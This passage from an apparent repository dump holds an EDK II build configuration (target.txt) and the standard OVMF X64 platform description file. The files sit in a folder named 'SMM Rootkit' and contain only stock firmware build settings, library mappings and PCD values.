#  Separate multiple LIST entries with a SINGLE SPACE character, do not use comma characters.
#  Un-set an option by either commenting out the line, or not setting a value.

#
#  PROPERTY              Type       Use         Description
#  ----------------      --------   --------    -----------------------------------------------------------
#  ACTIVE_PLATFORM       Filename   Recommended Specify the WORKSPACE relative Path and Filename
#                                               of the platform description file that will be used for the
#                                               build. This line is required if and only if the current
#                                               working directory does not contain one or more description
#                                               files.
ACTIVE_PLATFORM       = OvmfPkg/OvmfPkgX64.dsc

#  TARGET                List       Optional    Zero or more of the following: DEBUG, RELEASE, NOOPT
#                                               UserDefined; separated by a space character.
#                                               If the line is missing or no value is specified, all
#                                               valid targets specified in the platform description file 
#                                               will attempt to be built. The following line will build 
#                                               DEBUG platform target.
TARGET                = RELEASE

#  TARGET_ARCH           List       Optional    What kind of architecture is the binary being target for.
#                                               One, or more, of the following, IA32, IPF, X64, EBC, ARM
#                                               or AArch64.
#                                               Multiple values can be specified on a single line, using
#                                               space charaters to separate the values.  These are used
#                                               during the parsing of a platform description file, 
#                                               restricting the build output target(s.)
#                                               The Build Target ARCH is determined by (precedence high to low):
#                                                 Command-line: -a ARCH option
#                                                 target.txt: TARGET_ARCH values
#                                                 DSC file: [Defines] SUPPORTED_ARCHITECTURES tag
#                                               If not specified, then all valid architectures specified
#                                               in the platform file, for which tools are available, will be
#                                               built.
TARGET_ARCH           = X64

#  TOOL_DEFINITION_FILE  Filename  Optional   Specify the name of the filename to use for specifying
#                                             the tools to use for the build.  If not specified,
#                                             WORKSPACE/Conf/tools_def.txt will be used for the build.
TOOL_CHAIN_CONF       = Conf/tools_def.txt

#  TAGNAME               List      Optional   Specify the name(s) of the tools_def.txt TagName to use.
#                                             If not specified, all applicable TagName tools will be
#                                             used for the build.  The list uses space character separation.
TOOL_CHAIN_TAG        = GCC5

# MAX_CONCURRENT_THREAD_NUMBER  NUMBER  Optional  The number of concurrent threads. If not specified or set
#                                                 to zero, tool automatically detect number of processor
#                                                 threads. Recommend to set this value to one less than the
#                                                 number of your computer cores or CPUs. When value set to 1,
#                                                 means disable multi-thread build, value set to more than 1,
#                                                 means user specify the thread number to build. Not specify
#                                                 the default value in this file.
# MAX_CONCURRENT_THREAD_NUMBER = 1


# BUILD_RULE_CONF  Filename Optional  Specify the file name to use for the build rules that are followed
#                                     when generating Makefiles. If not specified, the file: 
#                                     WORKSPACE/Conf/build_rule.txt will be used
BUILD_RULE_CONF = Conf/build_rule.txt



================================================
FILE: SMM Rootkit/OvmfPkg/OvmfPkgX64.dsc
================================================
## @file
#  EFI/Framework Open Virtual Machine Firmware (OVMF) platform
#
#  Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.<BR>
#  (C) Copyright 2016 Hewlett Packard Enterprise Development LP<BR>
#
#  This program and the accompanying materials
#  are licensed and made available under the terms and conditions of the BSD License
#  which accompanies this distribution. The full text of the license may be found at
#  http://opensource.org/licenses/bsd-license.php
#
#  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
#  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
#
##

################################################################################
#
# Defines Section - statements that will be processed to create a Makefile.
#
################################################################################
[Defines]
  PLATFORM_NAME                  = Ovmf
  PLATFORM_GUID                  = 5a9e7754-d81b-49ea-85ad-69eaa7b1539b
  PLATFORM_VERSION               = 0.1
  DSC_SPECIFICATION              = 0x00010005
  OUTPUT_DIRECTORY               = Build/OvmfX64
  SUPPORTED_ARCHITECTURES        = X64
  BUILD_TARGETS                  = NOOPT|DEBUG|RELEASE
  SKUID_IDENTIFIER               = DEFAULT
  FLASH_DEFINITION               = OvmfPkg/OvmfPkgX64.fdf

  #
  # Defines for default states.  These can be changed on the command line.
  # -D FLAG=VALUE
  #
  DEFINE SECURE_BOOT_ENABLE      = FALSE
  DEFINE NETWORK_IP6_ENABLE      = FALSE
  DEFINE HTTP_BOOT_ENABLE        = FALSE
  DEFINE SMM_REQUIRE             = FALSE
  DEFINE TLS_ENABLE              = FALSE

  #
  # Flash size selection. Setting FD_SIZE_IN_KB on the command line directly to
  # one of the supported values, in place of any of the convenience macros, is
  # permitted.
  #
!ifdef $(FD_SIZE_1MB)
  DEFINE FD_SIZE_IN_KB           = 1024
!else
!ifdef $(FD_SIZE_2MB)
  DEFINE FD_SIZE_IN_KB           = 2048
!else
!ifdef $(FD_SIZE_4MB)
  DEFINE FD_SIZE_IN_KB           = 4096
!else
  DEFINE FD_SIZE_IN_KB           = 4096
!endif
!endif
!endif

[BuildOptions]
  GCC:*_UNIXGCC_*_CC_FLAGS             = -DMDEPKG_NDEBUG
  GCC:RELEASE_*_*_CC_FLAGS             = -DMDEPKG_NDEBUG
  INTEL:RELEASE_*_*_CC_FLAGS           = /D MDEPKG_NDEBUG
  MSFT:RELEASE_*_*_CC_FLAGS            = /D MDEPKG_NDEBUG
!if $(TOOL_CHAIN_TAG) != "XCODE5"
  GCC:*_*_*_CC_FLAGS                   = -mno-mmx -mno-sse
!endif
!ifdef $(SOURCE_DEBUG_ENABLE)
  MSFT:*_*_X64_GENFW_FLAGS  = --keepexceptiontable
  GCC:*_*_X64_GENFW_FLAGS   = --keepexceptiontable
  INTEL:*_*_X64_GENFW_FLAGS = --keepexceptiontable
!endif

  #
  # Disable deprecated APIs.
  #
  MSFT:*_*_*_CC_FLAGS = /D DISABLE_NEW_DEPRECATED_INTERFACES
  INTEL:*_*_*_CC_FLAGS = /D DISABLE_NEW_DEPRECATED_INTERFACES
  GCC:*_*_*_CC_FLAGS = -D DISABLE_NEW_DEPRECATED_INTERFACES

[BuildOptions.common.EDKII.DXE_RUNTIME_DRIVER]
  GCC:*_*_*_DLINK_FLAGS = -z common-page-size=0x1000
  XCODE:*_*_*_DLINK_FLAGS =

# Force PE/COFF sections to be aligned at 4KB boundaries to support page level
# protection of DXE_SMM_DRIVER/SMM_CORE modules
[BuildOptions.common.EDKII.DXE_SMM_DRIVER, BuildOptions.common.EDKII.SMM_CORE]
  GCC:*_*_*_DLINK_FLAGS = -z common-page-size=0x1000
  XCODE:*_*_*_DLINK_FLAGS =

################################################################################
#
# SKU Identification section - list of all SKU IDs supported by this Platform.
#
################################################################################
[SkuIds]
  0|DEFAULT

################################################################################
#
# Library Class section - list of all Library Classes needed by this Platform.
#
################################################################################
[LibraryClasses]
  PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
  TimerLib|OvmfPkg/Library/AcpiTimerLib/BaseAcpiTimerLib.inf
  PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf
  BaseMemoryLib|MdePkg/Library/BaseMemoryLibRepStr/BaseMemoryLibRepStr.inf
  BaseLib|MdePkg/Library/BaseLib/BaseLib.inf
  SynchronizationLib|MdePkg/Library/BaseSynchronizationLib/BaseSynchronizationLib.inf
  CpuLib|MdePkg/Library/BaseCpuLib/BaseCpuLib.inf
  PerformanceLib|MdePkg/Library/BasePerformanceLibNull/BasePerformanceLibNull.inf
  PeCoffLib|MdePkg/Library/BasePeCoffLib/BasePeCoffLib.inf
  CacheMaintenanceLib|MdePkg/Library/BaseCacheMaintenanceLib/BaseCacheMaintenanceLib.inf
  UefiDecompressLib|MdePkg/Library/BaseUefiDecompressLib/BaseUefiDecompressLib.inf
  UefiHiiServicesLib|MdeModulePkg/Library/UefiHiiServicesLib/UefiHiiServicesLib.inf
  HiiLib|MdeModulePkg/Library/UefiHiiLib/UefiHiiLib.inf
  SortLib|MdeModulePkg/Library/UefiSortLib/UefiSortLib.inf
  UefiBootManagerLib|MdeModulePkg/Library/UefiBootManagerLib/UefiBootManagerLib.inf
  BootLogoLib|MdeModulePkg/Library/BootLogoLib/BootLogoLib.inf
  FileExplorerLib|MdeModulePkg/Library/FileExplorerLib/FileExplorerLib.inf
  CapsuleLib|MdeModulePkg/Library/DxeCapsuleLibNull/DxeCapsuleLibNull.inf
  DxeServicesLib|MdePkg/Library/DxeServicesLib/DxeServicesLib.inf
  DxeServicesTableLib|MdePkg/Library/DxeServicesTableLib/DxeServicesTableLib.inf
  PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf
  PciCf8Lib|MdePkg/Library/BasePciCf8Lib/BasePciCf8Lib.inf
  PciExpressLib|MdePkg/Library/BasePciExpressLib/BasePciExpressLib.inf
  PciLib|MdePkg/Library/BasePciLibCf8/BasePciLibCf8.inf
  PciSegmentLib|MdePkg/Library/BasePciSegmentLibPci/BasePciSegmentLibPci.inf
  IoLib|MdePkg/Library/BaseIoLibIntrinsic/BaseIoLibIntrinsicSev.inf
  OemHookStatusCodeLib|MdeModulePkg/Library/OemHookStatusCodeLibNull/OemHookStatusCodeLibNull.inf
  SerialPortLib|PcAtChipsetPkg/Library/SerialIoLib/SerialIoLib.inf
  MtrrLib|UefiCpuPkg/Library/MtrrLib/MtrrLib.inf
  UefiLib|MdePkg/Library/UefiLib/UefiLib.inf
  UefiBootServicesTableLib|MdePkg/Library/UefiBootServicesTableLib/UefiBootServicesTableLib.inf
  UefiRuntimeServicesTableLib|MdePkg/Library/UefiRuntimeServicesTableLib/UefiRuntimeServicesTableLib.inf
  UefiDriverEntryPoint|MdePkg/Library/UefiDriverEntryPoint/UefiDriverEntryPoint.inf
  UefiApplicationEntryPoint|MdePkg/Library/UefiApplicationEntryPoint/UefiApplicationEntryPoint.inf
  DevicePathLib|MdePkg/Library/UefiDevicePathLibDevicePathProtocol/UefiDevicePathLibDevicePathProtocol.inf
  NvVarsFileLib|OvmfPkg/Library/NvVarsFileLib/NvVarsFileLib.inf
  FileHandleLib|MdePkg/Library/UefiFileHandleLib/UefiFileHandleLib.inf
  UefiCpuLib|UefiCpuPkg/Library/BaseUefiCpuLib/BaseUefiCpuLib.inf
  SecurityManagementLib|MdeModulePkg/Library/DxeSecurityManagementLib/DxeSecurityManagementLib.inf
  NetLib|MdeModulePkg/Library/DxeNetLib/DxeNetLib.inf
  IpIoLib|MdeModulePkg/Library/DxeIpIoLib/DxeIpIoLib.inf
  UdpIoLib|MdeModulePkg/Library/DxeUdpIoLib/DxeUdpIoLib.inf
  DpcLib|MdeModulePkg/Library/DxeDpcLib/DxeDpcLib.inf
  UefiUsbLib|MdePkg/Library/UefiUsbLib/UefiUsbLib.inf
  SerializeVariablesLib|OvmfPkg/Library/SerializeVariablesLib/SerializeVariablesLib.inf
  QemuFwCfgLib|OvmfPkg/Library/QemuFwCfgLib/QemuFwCfgDxeLib.inf
  VirtioLib|OvmfPkg/Library/VirtioLib/VirtioLib.inf
  LoadLinuxLib|OvmfPkg/Library/LoadLinuxLib/LoadLinuxLib.inf
  MemEncryptSevLib|OvmfPkg/Library/BaseMemEncryptSevLib/BaseMemEncryptSevLib.inf
!if $(SMM_REQUIRE) == FALSE
  LockBoxLib|OvmfPkg/Library/LockBoxLib/LockBoxBaseLib.inf
!endif
  CustomizedDisplayLib|MdeModulePkg/Library/CustomizedDisplayLib/CustomizedDisplayLib.inf
  FrameBufferBltLib|MdeModulePkg/Library/FrameBufferBltLib/FrameBufferBltLib.inf

!ifdef $(SOURCE_DEBUG_ENABLE)
  PeCoffExtraActionLib|SourceLevelDebugPkg/Library/PeCoffExtraActionLibDebug/PeCoffExtraActionLibDebug.inf
  DebugCommunicationLib|SourceLevelDebugPkg/Library/DebugCommunicationLibSerialPort/DebugCommunicationLibSerialPort.inf
!else
  PeCoffExtraActionLib|MdePkg/Library/BasePeCoffExtraActionLibNull/BasePeCoffExtraActionLibNull.inf
  DebugAgentLib|MdeModulePkg/Library/DebugAgentLibNull/DebugAgentLibNull.inf
!endif

  ResetSystemLib|OvmfPkg/Library/ResetSystemLib/ResetSystemLib.inf
  LocalApicLib|UefiCpuPkg/Library/BaseXApicX2ApicLib/BaseXApicX2ApicLib.inf
  DebugPrintErrorLevelLib|MdePkg/Library/BaseDebugPrintErrorLevelLib/BaseDebugPrintErrorLevelLib.inf

  IntrinsicLib|CryptoPkg/Library/IntrinsicLib/IntrinsicLib.inf
!if $(TLS_ENABLE) == TRUE
  OpensslLib|CryptoPkg/Library/OpensslLib/OpensslLib.inf
!else
  OpensslLib|CryptoPkg/Library/OpensslLib/OpensslLibCrypto.inf
!endif

!if $(SECURE_BOOT_ENABLE) == TRUE
  PlatformSecureLib|OvmfPkg/Library/PlatformSecureLib/PlatformSecureLib.inf
  TpmMeasurementLib|SecurityPkg/Library/DxeTpmMeasurementLib/DxeTpmMeasurementLib.inf
  AuthVariableLib|SecurityPkg/Library/AuthVariableLib/AuthVariableLib.inf
!else
  TpmMeasurementLib|MdeModulePkg/Library/TpmMeasurementLibNull/TpmMeasurementLibNull.inf
  AuthVariableLib|MdeModulePkg/Library/AuthVariableLibNull/AuthVariableLibNull.inf
!endif
  VarCheckLib|MdeModulePkg/Library/VarCheckLib/VarCheckLib.inf

!if $(NETWORK_IP6_ENABLE) == TRUE
  TcpIoLib|MdeModulePkg/Library/DxeTcpIoLib/DxeTcpIoLib.inf
!endif

!if $(HTTP_BOOT_ENABLE) == TRUE
  HttpLib|MdeModulePkg/Library/DxeHttpLib/DxeHttpLib.inf
!endif

!if $(TLS_ENABLE) == TRUE
  TlsLib|CryptoPkg/Library/TlsLib/TlsLib.inf
!endif

  ShellLib|ShellPkg/Library/UefiShellLib/UefiShellLib.inf
  S3BootScriptLib|MdeModulePkg/Library/PiDxeS3BootScriptLib/DxeS3BootScriptLib.inf
  SmbusLib|MdePkg/Library/BaseSmbusLibNull/BaseSmbusLibNull.inf
  OrderedCollectionLib|MdePkg/Library/BaseOrderedCollectionRedBlackTreeLib/BaseOrderedCollectionRedBlackTreeLib.inf
  XenHypercallLib|OvmfPkg/Library/XenHypercallLib/XenHypercallLib.inf

[LibraryClasses.common]
  BaseCryptLib|CryptoPkg/Library/BaseCryptLib/BaseCryptLib.inf

[LibraryClasses.common.SEC]
  TimerLib|OvmfPkg/Library/AcpiTimerLib/BaseRomAcpiTimerLib.inf
  QemuFwCfgLib|OvmfPkg/Library/QemuFwCfgLib/QemuFwCfgSecLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformRomDebugLibIoPort.inf
!endif
  ReportStatusCodeLib|MdeModulePkg/Library/PeiReportStatusCodeLib/PeiReportStatusCodeLib.inf
  ExtractGuidedSectionLib|MdePkg/Library/BaseExtractGuidedSectionLib/BaseExtractGuidedSectionLib.inf
!ifdef $(SOURCE_DEBUG_ENABLE)
  DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/SecPeiDebugAgentLib.inf
!endif
  HobLib|MdePkg/Library/PeiHobLib/PeiHobLib.inf
  PeiServicesLib|MdePkg/Library/PeiServicesLib/PeiServicesLib.inf
  PeiServicesTablePointerLib|MdePkg/Library/PeiServicesTablePointerLibIdt/PeiServicesTablePointerLibIdt.inf
  MemoryAllocationLib|MdePkg/Library/PeiMemoryAllocationLib/PeiMemoryAllocationLib.inf
  CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/SecPeiCpuExceptionHandlerLib.inf

[LibraryClasses.common.PEI_CORE]
  HobLib|MdePkg/Library/PeiHobLib/PeiHobLib.inf
  PeiServicesTablePointerLib|MdePkg/Library/PeiServicesTablePointerLibIdt/PeiServicesTablePointerLibIdt.inf
  PeiServicesLib|MdePkg/Library/PeiServicesLib/PeiServicesLib.inf
  MemoryAllocationLib|MdePkg/Library/PeiMemoryAllocationLib/PeiMemoryAllocationLib.inf
  PeiCoreEntryPoint|MdePkg/Library/PeiCoreEntryPoint/PeiCoreEntryPoint.inf
  ReportStatusCodeLib|MdeModulePkg/Library/PeiReportStatusCodeLib/PeiReportStatusCodeLib.inf
  OemHookStatusCodeLib|MdeModulePkg/Library/OemHookStatusCodeLibNull/OemHookStatusCodeLibNull.inf
  PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
  PeCoffLib|MdePkg/Library/BasePeCoffLib/BasePeCoffLib.inf

[LibraryClasses.common.PEIM]
  HobLib|MdePkg/Library/PeiHobLib/PeiHobLib.inf
  PeiServicesTablePointerLib|MdePkg/Library/PeiServicesTablePointerLibIdt/PeiServicesTablePointerLibIdt.inf
  PeiServicesLib|MdePkg/Library/PeiServicesLib/PeiServicesLib.inf
  MemoryAllocationLib|MdePkg/Library/PeiMemoryAllocationLib/PeiMemoryAllocationLib.inf
  PeimEntryPoint|MdePkg/Library/PeimEntryPoint/PeimEntryPoint.inf
  ReportStatusCodeLib|MdeModulePkg/Library/PeiReportStatusCodeLib/PeiReportStatusCodeLib.inf
  OemHookStatusCodeLib|MdeModulePkg/Library/OemHookStatusCodeLibNull/OemHookStatusCodeLibNull.inf
  PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
  PeCoffLib|MdePkg/Library/BasePeCoffLib/BasePeCoffLib.inf
  PeiResourcePublicationLib|MdePkg/Library/PeiResourcePublicationLib/PeiResourcePublicationLib.inf
  ExtractGuidedSectionLib|MdePkg/Library/PeiExtractGuidedSectionLib/PeiExtractGuidedSectionLib.inf
!ifdef $(SOURCE_DEBUG_ENABLE)
  DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/SecPeiDebugAgentLib.inf
!endif
  CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/PeiCpuExceptionHandlerLib.inf
  MpInitLib|UefiCpuPkg/Library/MpInitLib/PeiMpInitLib.inf
  QemuFwCfgS3Lib|OvmfPkg/Library/QemuFwCfgS3Lib/PeiQemuFwCfgS3LibFwCfg.inf
  PcdLib|MdePkg/Library/PeiPcdLib/PeiPcdLib.inf
  QemuFwCfgLib|OvmfPkg/Library/QemuFwCfgLib/QemuFwCfgPeiLib.inf

[LibraryClasses.common.DXE_CORE]
  HobLib|MdePkg/Library/DxeCoreHobLib/DxeCoreHobLib.inf
  DxeCoreEntryPoint|MdePkg/Library/DxeCoreEntryPoint/DxeCoreEntryPoint.inf
  MemoryAllocationLib|MdeModulePkg/Library/DxeCoreMemoryAllocationLib/DxeCoreMemoryAllocationLib.inf
  ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
  ExtractGuidedSectionLib|MdePkg/Library/DxeExtractGuidedSectionLib/DxeExtractGuidedSectionLib.inf
!ifdef $(SOURCE_DEBUG_ENABLE)
  DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/DxeDebugAgentLib.inf
!endif
  CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/DxeCpuExceptionHandlerLib.inf
  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf

[LibraryClasses.common.DXE_RUNTIME_DRIVER]
  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
  TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf
  HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
  DxeCoreEntryPoint|MdePkg/Library/DxeCoreEntryPoint/DxeCoreEntryPoint.inf
  MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
  ReportStatusCodeLib|MdeModulePkg/Library/RuntimeDxeReportStatusCodeLib/RuntimeDxeReportStatusCodeLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
  UefiRuntimeLib|MdePkg/Library/UefiRuntimeLib/UefiRuntimeLib.inf
  BaseCryptLib|CryptoPkg/Library/BaseCryptLib/RuntimeCryptLib.inf
  PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf
  QemuFwCfgS3Lib|OvmfPkg/Library/QemuFwCfgS3Lib/DxeQemuFwCfgS3LibFwCfg.inf

[LibraryClasses.common.UEFI_DRIVER]
  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
  TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf
  HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
  DxeCoreEntryPoint|MdePkg/Library/DxeCoreEntryPoint/DxeCoreEntryPoint.inf
  MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
  ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
  UefiScsiLib|MdePkg/Library/UefiScsiLib/UefiScsiLib.inf
  PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf

[LibraryClasses.common.DXE_DRIVER]
  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
  TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf
  HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
  MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
  ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf
  UefiScsiLib|MdePkg/Library/UefiScsiLib/UefiScsiLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
  NetLib|MdeModulePkg/Library/DxeNetLib/DxeNetLib.inf
  IpIoLib|MdeModulePkg/Library/DxeIpIoLib/DxeIpIoLib.inf
  UdpIoLib|MdeModulePkg/Library/DxeUdpIoLib/DxeUdpIoLib.inf
  DpcLib|MdeModulePkg/Library/DxeDpcLib/DxeDpcLib.inf
  PlatformBootManagerLib|OvmfPkg/Library/PlatformBootManagerLib/PlatformBootManagerLib.inf
  QemuBootOrderLib|OvmfPkg/Library/QemuBootOrderLib/QemuBootOrderLib.inf
  CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/DxeCpuExceptionHandlerLib.inf
!if $(SMM_REQUIRE) == TRUE
  LockBoxLib|MdeModulePkg/Library/SmmLockBoxLib/SmmLockBoxDxeLib.inf
!else
  LockBoxLib|OvmfPkg/Library/LockBoxLib/LockBoxDxeLib.inf
!endif
!ifdef $(SOURCE_DEBUG_ENABLE)
  DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/DxeDebugAgentLib.inf
!endif
  PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf
  MpInitLib|UefiCpuPkg/Library/MpInitLib/DxeMpInitLib.inf
  QemuFwCfgS3Lib|OvmfPkg/Library/QemuFwCfgS3Lib/DxeQemuFwCfgS3LibFwCfg.inf

[LibraryClasses.common.UEFI_APPLICATION]
  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
  TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf
  HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
  MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
  ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
  PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf

[LibraryClasses.common.DXE_SMM_DRIVER]
  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
  TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf
  MemoryAllocationLib|MdePkg/Library/SmmMemoryAllocationLib/SmmMemoryAllocationLib.inf
  ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf
  HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
  SmmMemLib|MdePkg/Library/SmmMemLib/SmmMemLib.inf
  SmmServicesTableLib|MdePkg/Library/SmmServicesTableLib/SmmServicesTableLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
  CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/SmmCpuExceptionHandlerLib.inf
!ifdef $(SOURCE_DEBUG_ENABLE)
  DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/SmmDebugAgentLib.inf
!endif
  BaseCryptLib|CryptoPkg/Library/BaseCryptLib/SmmCryptLib.inf
  PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf

[LibraryClasses.common.SMM_CORE]
  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
  TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf
  SmmCorePlatformHookLib|MdeModulePkg/Library/SmmCorePlatformHookLibNull/SmmCorePlatformHookLibNull.inf
  MemoryAllocationLib|MdeModulePkg/Library/PiSmmCoreMemoryAllocationLib/PiSmmCoreMemoryAllocationLib.inf
  ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf
  HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
  SmmMemLib|MdePkg/Library/SmmMemLib/SmmMemLib.inf
  SmmServicesTableLib|MdeModulePkg/Library/PiSmmCoreSmmServicesTableLib/PiSmmCoreSmmServicesTableLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
  PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf

################################################################################
#
# Pcd Section - list of all EDK II PCD Entries defined by this Platform.
#
################################################################################
[PcdsFeatureFlag]
  gEfiMdeModulePkgTokenSpaceGuid.PcdHiiOsRuntimeSupport|FALSE
  gEfiMdeModulePkgTokenSpaceGuid.PcdStatusCodeUseSerial|FALSE
  gEfiMdeModulePkgTokenSpaceGuid.PcdStatusCodeUseMemory|TRUE
  gEfiMdeModulePkgTokenSpaceGuid.PcdDxeIplSupportUefiDecompress|FALSE
  gEfiMdeModulePkgTokenSpaceGuid.PcdDxeIplSwitchToLongMode|FALSE
  gEfiMdeModulePkgTokenSpaceGuid.PcdConOutGopSupport|TRUE
  gEfiMdeModulePkgTokenSpaceGuid.PcdConOutUgaSupport|FALSE
  gEfiMdeModulePkgTokenSpaceGuid.PcdInstallAcpiSdtProtocol|TRUE
!if $(SMM_REQUIRE) == TRUE
  gUefiOvmfPkgTokenSpaceGuid.PcdSmmSmramRequire|TRUE
  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmEnableBspElection|FALSE
!endif

[PcdsFixedAtBuild]
  gEfiMdeModulePkgTokenSpaceGuid.PcdStatusCodeMemorySize|1
  gEfiMdeModulePkgTokenSpaceGuid.PcdResetOnMemoryTypeInformationChange|FALSE
  gEfiMdePkgTokenSpaceGuid.PcdMaximumGuidedExtractHandler|0x10
  gEfiMdeModulePkgTokenSpaceGuid.PcdPeiCoreMaxFvSupported|6
  gEfiMdeModulePkgTokenSpaceGuid.PcdPeiCoreMaxPeimPerFv|32
!if ($(FD_SIZE_IN_KB) == 1024) || ($(FD_SIZE_IN_KB) == 2048)
  gEfiMdeModulePkgTokenSpaceGuid.PcdMaxVariableSize|0x2000
  gEfiMdeModulePkgTokenSpaceGuid.PcdMaxAuthVariableSize|0x2800
  gEfiMdeModulePkgTokenSpaceGuid.PcdVariableStoreSize|0xe000
!endif
!if $(FD_SIZE_IN_KB) == 4096
  gEfiMdeModulePkgTokenSpaceGuid.PcdMaxVariableSize|0x8400
  gEfiMdeModulePkgTokenSpaceGuid.PcdMaxAuthVariableSize|0x8400
  gEfiMdeModulePkgTokenSpaceGuid.PcdVariableStoreSize|0x40000
!endif

